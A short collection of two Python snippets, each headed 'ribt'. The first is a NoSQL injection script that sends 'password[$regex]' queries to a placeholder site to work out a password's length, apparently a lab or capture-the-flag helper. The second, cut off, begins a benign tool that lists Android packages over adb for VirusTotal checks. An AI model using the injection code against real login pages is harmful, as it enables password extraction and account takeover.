ribt

import requests, string
from urllib.parse import quote_plus

def test_regex(r):
    return "SUCCESS" in requests.get("http://weak.com/index.php?password[$regex]="+quote_plus(r)).text

for l in range(1000):
    if test_regex("^.{"+str(l)+"}$"):
        break
    

ribt

import os
import requests
from time import sleep

VT_API_TOKEN = 'EDIT THIS' # create a free account on virustotal.com to get a public API key

c = os.popen("adb shell pm list packages").read()
if c == '':
    print("Run 'adb devices' in a shell to make sure your phone is correctly connected")
    exit()